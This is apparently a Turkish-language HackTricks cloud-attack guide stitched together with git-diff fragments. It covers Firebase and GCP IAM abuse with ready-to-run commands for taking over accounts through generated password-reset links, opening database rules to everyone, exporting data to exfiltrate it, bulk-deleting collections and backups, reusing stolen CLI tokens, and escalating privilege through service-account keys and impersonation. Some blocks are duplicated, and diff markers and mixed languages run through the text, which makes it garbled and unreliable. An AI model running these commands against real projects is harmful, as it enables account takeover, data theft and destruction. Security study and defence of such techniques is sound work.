||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Bir kullanıcı hesabını silmek ve bir denial of service'e yol açmak için, saldırgan kullanıcıyı tamamen kaldırmak üzere bir istek gönderecektir.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Saldırgan ayrıca mevcut kullanıcılar hakkında UID veya email address talep ederek bilgi alabilir.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Ayrıca, saldırgan bir kullanıcının parolasını değiştirmek ve hesabına erişmek için doğrulama bağlantıları veya parola sıfırlama bağlantıları oluşturabilir.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebase Authentication'da kullanıcı yönetimi
|
||||
Bir saldırganın bu saldırıyı gerçekleştirebilmesi için belirli Firebase Authentication izinlerine ihtiyacı vardır. Gerekli izinler:
|
||||
|
||||
- `firebaseauth.users.create` kullanıcı oluşturmak için
|
||||
- `firebaseauth.users.update` mevcut kullanıcıları değiştirmek için
|
||||
- `firebaseauth.users.delete` kullanıcıları silmek için
|
||||
- `firebaseauth.users.get` kullanıcı bilgisi almak için
|
||||
- `firebaseauth.users.sendEmail` kullanıcılara e-posta göndermek için
|
||||
- `firebaseauth.users.createSession` kullanıcı oturumu oluşturmak için
|
||||
|
||||
Bu izinler, Firebase Authentication kaynaklarına tam okuma/yazma erişimi veren roles/firebaseauth.admin rolünde yer alır. Ayrıca `roles/firebase.developAdmin` (tüm firebaseauth.* izinlerini içerir) ve `roles/firebase.admin` (tüm Firebase servislerine tam erişim) gibi daha üst düzey rollerin de parçasıdır.
|
||||
|
||||
Firebase Admin SDK'yı kullanmak için saldırganın hizmet hesabı kimlik bilgilerine (JSON dosyası) erişimi olması gerekir; bunlar ele geçirilmiş sistemlerden, herkese açık kod depolarından, ele geçirilmiş CI/CD ortamlarından veya bu kimlik bilgilerine erişimi olan geliştirici hesaplarının ele geçirilmesinden elde edilebilir.
|
||||
|
||||
İlk adım, hizmet hesabı kimlik bilgilerini kullanarak Firebase Admin SDK'yı yapılandırmaktır.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Kurbanın e-posta adresini kullanarak kötü amaçlı bir kullanıcı oluşturmak için, saldırgan o e-posta ile yeni bir kullanıcı hesabı oluşturmaya çalışır ve kendi şifresini ile profil bilgilerini atar.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Mevcut bir kullanıcıyı değiştirmek için saldırgan, e-posta adresi, doğrulama durumu veya hesabın devre dışı bırakılıp bırakılmadığı gibi alanları değiştirirdi.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Bir kullanıcı hesabını silmek — etkili olarak bir denial of service'a yol açmak — için saldırgan, o kullanıcıyı kalıcı olarak kaldırmak üzere bir istek gönderecektir.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Saldırgan, UID veya e-posta adresiyle kullanıcı detaylarını sorgulayarak mevcut kullanıcıların UID veya e-posta gibi bilgilerini de elde edebilir.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Ayrıca saldırgan doğrulama bağlantıları veya şifre sıfırlama bağlantıları oluşturabilir; bu da bir kullanıcının şifresini değiştirip hesabın kontrolünü ele geçirmesine olanak verir.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebase hizmetlerindeki güvenlik kurallarının değiştirilmesi
|
||||
Saldırganın güvenlik kurallarını değiştirebilmesi için, hizmete bağlı olarak belirli izinlere ihtiyacı vardır. Cloud Firestore ve Firebase Cloud Storage için gerekli izinler, ruleset oluşturmak üzere `firebaserules.rulesets.create` ve release dağıtmak üzere `firebaserules.releases.create`'dir. Bu izinler `roles/firebaserules.admin` rolünde veya `roles/firebase.developAdmin` ve `roles/firebase.admin` gibi daha üst düzey rollerde bulunur. Firebase Realtime Database için gerekli izin `firebasedatabase.instances.update`'dir.
|
||||
|
||||
Saldırgan güvenlik kurallarını değiştirmek için Firebase REST API'yi kullanmalıdır.
|
||||
İlk olarak, saldırganın service account credentials kullanarak bir access token alması gerekir.
|
||||
Token almak için:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Firebase Realtime Database kurallarını değiştirmek için:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Cloud Firestore kurallarını değiştirmek için, saldırgan bir ruleset oluşturmalı ve sonra bunu dağıtmalıdır:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Önceki komut projects/<project-id>/rulesets/<ruleset-id> formatında bir ruleset adını döndürür. Yeni sürümü dağıtmak için release, bir PATCH isteği kullanılarak güncellenmelidir:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Firebase Cloud Storage kurallarını değiştirmek için:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Önceki komut projects/<project-id>/rulesets/<ruleset-id> formatında bir ruleset adı döndürür. Yeni sürümü dağıtmak için release, bir PATCH isteğiyle güncellenmelidir:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Data exfiltration and manipulation in Cloud Firestore
|
||||
Cloud Firestore, Cloud Datastore ile aynı altyapı ve izin sistemini kullanır; bu nedenle Datastore IAM izinleri doğrudan Firestore için geçerlidir. TTL politikalarını değiştirmek için `datastore.indexes.update` izni gerekir. Verileri dışa aktarmak için `datastore.databases.export` izni gereklidir. Veri içe aktarmak için datastore.databases.import izni gerekir. Toplu veri silme işlemi yapmak için `datastore.databases.bulkDelete` izni gereklidir.
|
||||
|
||||
Yedekleme ve geri yükleme işlemleri için belirli izinler gereklidir:
|
||||
|
||||
- `datastore.backups.get` ve `datastore.backups.list` mevcut yedekleri listelemek ve ayrıntılarını almak için
|
||||
- `datastore.backups.delete` yedekleri silmek için
|
||||
- `datastore.backups.restoreDatabase` bir yedekten veritabanını geri yüklemek için
|
||||
- `datastore.backupSchedules.create` ve `datastore.backupSchedules.delete` yedekleme programlarını yönetmek için
|
||||
|
||||
Bir TTL politikası oluşturulduğunda, silinmeye uygun varlıkları belirlemek için atanmış bir özellik seçilir. Bu TTL özelliği Date and time türünde olmalıdır. attacker, zaten var olan bir özelliği seçebilir veya daha sonra eklemeyi planladığı bir özelliği atayabilir. Alanın değeri geçmiş bir tarihse, doküman hemen silinmeye uygun hale gelir. attacker, TTL politikalarını değiştirmek için gcloud CLI'yi kullanabilir.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
Verileri dışa aktarmak ve exfiltrate etmek için saldırgan gcloud CLI'yi kullanabilir.
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Kötü amaçlı veriyi içe aktarmak için:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Toplu veri silme gerçekleştirmek ve bir hizmet reddi (denial of service) oluşturmak için saldırgan, gcloud Firestore bulk-delete tool'u kullanarak tüm koleksiyonları silebilir.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Yedekleme ve geri yükleme işlemleri için saldırgan, veritabanının mevcut durumunu yakalamak üzere zamanlanmış yedekler oluşturabilir, mevcut yedekleri listeleyebilir, son değişiklikleri üzerine yazmak için bir yedekten geri yükleme yapabilir, kalıcı veri kaybına yol açmak amacıyla yedekleri silebilir ve zamanlanmış yedekleri kaldırabilir.
|
||||
Hemen bir yedek oluşturan günlük bir yedekleme planı oluşturmak için:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Belirli bir yedekten geri yükleme yapmak için saldırgan, o yedekteki verileri kullanarak yeni bir veritabanı oluşturabilir. Geri yükleme işlemi yedeğin verilerini yeni bir veritabanına yazar; bu da mevcut bir DATABASE_ID kullanılamayacağı anlamına gelir.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Bir yedeği silmek ve kalıcı veri kaybına neden olmak için:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Firebase CLI kimlik bilgilerinin çalınması ve kötüye kullanımı
|
||||
Bir saldırganın bu saldırıyı gerçekleştirmek için özel Firebase izinlerine ihtiyacı yoktur, ancak geliştiricinin yerel sistemine veya Firebase CLI kimlik bilgilerinin bulunduğu dosyaya erişimi olmalıdır. Bu kimlik bilgileri şu JSON dosyasında saklanır:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
Bu dosya, refresh_token ve access_token dahil olmak üzere kimlik doğrulama token'larını içerir; bunlar saldırganın firebase login komutunu ilk çalıştıran kullanıcı olarak kimlik doğrulaması yapmasına olanak tanır.
|
||||
|
||||
Saldırgan Firebase CLI kimlik bilgileri dosyasına erişim elde eder. Ardından tüm dosyayı kendi sistemine kopyalayabilir ve Firebase CLI, varsayılan konumundan otomatik olarak bu kimlik bilgilerini kullanır. Bunu yaptıktan sonra saldırgan, o kullanıcının erişebildiği tüm Firebase projelerini görüntüleyebilir.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM hakkında daha fazla bilgi için bakınız:
|
||||
IAM hakkında daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,54 +12,51 @@ IAM hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Belirtilen izinlere sahip bir attacker, size atanmış bir rolü güncelleyebilir ve size şu gibi diğer kaynaklara ek izinler verebilir:
|
||||
|
||||
<details><summary>İzin eklemek için IAM rolünü güncelle</summary>
|
||||
Bahsedilen izinlere sahip bir saldırgan, size atanan bir rolü güncelleyebilir ve size diğer kaynaklar için şu tür ek izinler verebilir:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
Bir vuln environment'ın **oluşturulması, exploit edilmesi ve temizlenmesini otomatikleştiren bir scripti burada bulabilirsiniz** ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Bir vuln ortamının **oluşturulması, exploit edilmesi ve temizlenmesinin** otomatikleştirilmesi için bir script bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
`iam.roles.create` izni, bir proje/organizasyon içinde özelleştirilmiş roller oluşturulmasına izin verir. Bir attacker'ın elinde bu durum tehlikelidir; çünkü ona, daha sonra varlıklara atanabilecek yeni izin setleri tanımlama imkânı sağlar (örneğin `iam.serviceAccounts.setIamPolicy` izni kullanılarak) ve amacı escalating privileges.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, bir Service Account'a ait bir **access token talep edebilecektir**, bu nedenle bizden daha fazla ayrıcalığa sahip bir Service Account'un access token'ını talep etmek mümkün olabilir.
|
||||
|
||||
<details><summary>Service Account'u taklit ederek access token almak</summary>
|
||||
Bahsedilen izinlere sahip bir saldırgan, **bir Service Account'a ait bir access token talep edebilecektir**, dolayısıyla bizimkinden daha fazla ayrıcalığa sahip bir Service Account'un access token'ını talep etmek mümkündür.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) sayfasına bakın.
|
||||
You can find a script to automate the [**zafiyetli bir ortamın oluşturulması, exploit edilmesi ve temizlenmesi**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**burada**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, **bir Service Account için kullanıcı tarafından yönetilen bir anahtar oluşturabilir**, bu da o Service Account olarak GCP'ye erişmemizi sağlar.
|
||||
|
||||
<details><summary>Service account anahtarı oluşturma ve kimlik doğrulama</summary>
|
||||
Bahsedilen izinlere sahip bir saldırgan, bir Service Account için **user-managed key oluşturabilecek**, bu da o Service Account olarak GCP'ye erişmemize olanak tanır.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
Bir zafiyet ortamının oluşturulmasını, sömürülmesini ve temizlenmesini otomatikleştiren bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) adresine bakın.
|
||||
|
||||
Zafiyetli bir ortamın [**creation, exploit and cleaning of a vuln environment here**] oluşturulmasını, istismarını ve temizlenmesini otomatikleştiren bir scripti bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**] ayrıca mevcuttur. Daha fazla bilgi için [**original research**]’ı inceleyin.
|
||||
|
||||
Dikkat: **`iam.serviceAccountKeys.update` bir SA'nın anahtarını değiştirmek için çalışmaz** çünkü bunu yapmak için `iam.serviceAccountKeys.create` izni de gereklidir.
|
||||
Not: **`iam.serviceAccountKeys.update` bir SA'nın anahtarını değiştirmek için çalışmaz** çünkü bunu yapmak için `iam.serviceAccountKeys.create` izni de gereklidir.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Bir Service Account üzerinde **`iam.serviceAccounts.implicitDelegation`** iznine sahipseniz ve bu Service Account üçüncü bir Service Account üzerinde **`iam.serviceAccounts.getAccessToken`** iznine sahipse, implicitDelegation'ı kullanarak o üçüncü Service Account için **bir token oluşturabilirsiniz**. Açıklamak için bir diyagram aşağıda.
|
||||
Eğer bir Servis Hesabı üzerinde **`iam.serviceAccounts.implicitDelegation`** izniniz varsa ve o Servis Hesabı üçüncü bir Servis Hesabı üzerinde **`iam.serviceAccounts.getAccessToken`** iznine sahipse, implicitDelegation'ı kullanarak o üçüncü Servis Hesabı için **bir token oluşturabilirsiniz**. Açıklamak için bir diyagram:
|
||||
|
||||

|
||||
|
||||
Not: [**documentation**]’a göre, `gcloud`'ün delegasyonu yalnızca [**generateAccessToken()**] metodunu kullanarak token üretmek için çalışır. Bu yüzden API'yi doğrudan kullanarak bir token elde etme şekli şöyle:
|
||||
|
||||
<details><summary>Delegasyon kullanarak API ile erişim tokenı oluşturma</summary>
|
||||
Not: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)'a göre, `gcloud` delegasyonu yalnızca [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) yöntemini kullanarak token üretmek için çalışır. Bu yüzden aşağıda API'yi doğrudan kullanarak bir token nasıl alınır gösterilmektedir:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -70,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Vulnerable ortamın oluşturulmasını, exploit edilmesini ve temizlenmesini otomatikleştiren bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) adresinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan **GCP üzerinde rastgele payload'ları imzalayabilir**. Bu yüzden hedeflediğimiz SA'nın imzalaması için **SA'ya ait imzalanmamış bir JWT oluşturup bunu bir blob olarak göndererek JWT'nin imzalanmasını** sağlamak mümkün olacaktır. Daha fazla bilgi için [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) bakın.
|
||||
Bahsedilen izinlere sahip bir saldırgan, GCP'de **istediği payload'ları imzalayabilecek**. Bu sayede hedeflediğimiz SA için **imzasız bir JWT oluşturup bunu bir blob olarak göndererek JWT'nin SA tarafından imzalanmasını sağlamak** mümkün olacak. Daha fazla bilgi için [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Otomatikleştirme için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) ve [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) adreslerinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan **iyi biçimlendirilmiş JSON web token'ları (JWT'leri) imzalayabilir**. Önceki yöntemle arasındaki fark, **JWT içeren bir blob'un Google tarafından imzalanmasını sağlamak yerine, halihazırda bir JWT bekleyen signJWT yöntemini kullanmamızdır**. Bu kullanımını kolaylaştırır fakat herhangi bir byte dizisi yerine yalnızca JWT imzalayabilirsiniz.
|
||||
Bahsedilen izinlere sahip bir saldırgan, **doğru biçimlendirilmiş JSON web tokens (JWTs) imzalayabilecek**. Önceki yöntemle farkı, **JWT içeren bir blob'un google tarafından imzalanmasını sağlamak yerine, zaten bir JWT bekleyen signJWT yöntemini kullanmamızdır**. Bu kullanımını kolaylaştırır ancak her türlü byte yerine sadece JWT imzalayabilirsiniz.
|
||||
|
||||
Otomatikleştirme için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) adresinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan **service account'lara IAM politikaları ekleyebilir**. Bunu, service account'u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize **vermek** için suistimal edebilirsiniz. Aşağıdaki örnekte ilginç SA üzerinde kendimize `roles/iam.serviceAccountTokenCreator` rolünü veriyoruz:
|
||||
|
||||
<details><summary>Service account'a IAM policy binding ekle</summary>
|
||||
Bahsedilen izinlere sahip bir saldırgan, **service accounts için IAM policy'leri ekleyebilecek**. Bunu, service account'u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize **vermeye** kullanabilirsiniz. Aşağıdaki örnekte ilginç SA üzerinde kendimize `roles/iam.serviceAccountTokenCreator` rolünü veriyoruz:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -101,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
`iam.serviceAccounts.actAs` izni, AWS'teki `iam:PassRole` iznine benzer. Bir `Compute Engine` örneğini başlatmak gibi görevleri yürütmek için gereklidir; çünkü bir `Service Account` olarak "actAs" yapma yeteneği vererek izin yönetimini güvenli hale getirir. Bu izin olmadan kullanıcılar haksız erişim elde edebilir. Ayrıca, `iam.serviceAccounts.actAs`'ın kötüye kullanılması çeşitli yöntemler içerir ve her biri farklı izinler gerektirir; oysa bazı diğer yöntemler yalnızca tek bir izin gerektirir.
|
||||
**iam.serviceAccounts.actAs permission**, AWS'deki **iam:PassRole permission** ile benzerdir. Bir Compute Engine instance'ını başlatmak gibi görevleri yürütmek için gereklidir; bir Service Account adına "actAs" yapma yetkisi vererek izin yönetimini güvenli hale getirir. Bu izin olmadan kullanıcılar haksız erişim elde edebilir. Ayrıca, **iam.serviceAccounts.actAs**'in suistimali çeşitli yöntemler içerir ve her biri farklı izin setleri gerektirir; oysa diğer bazı yöntemler tek bir izinle çalışır.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
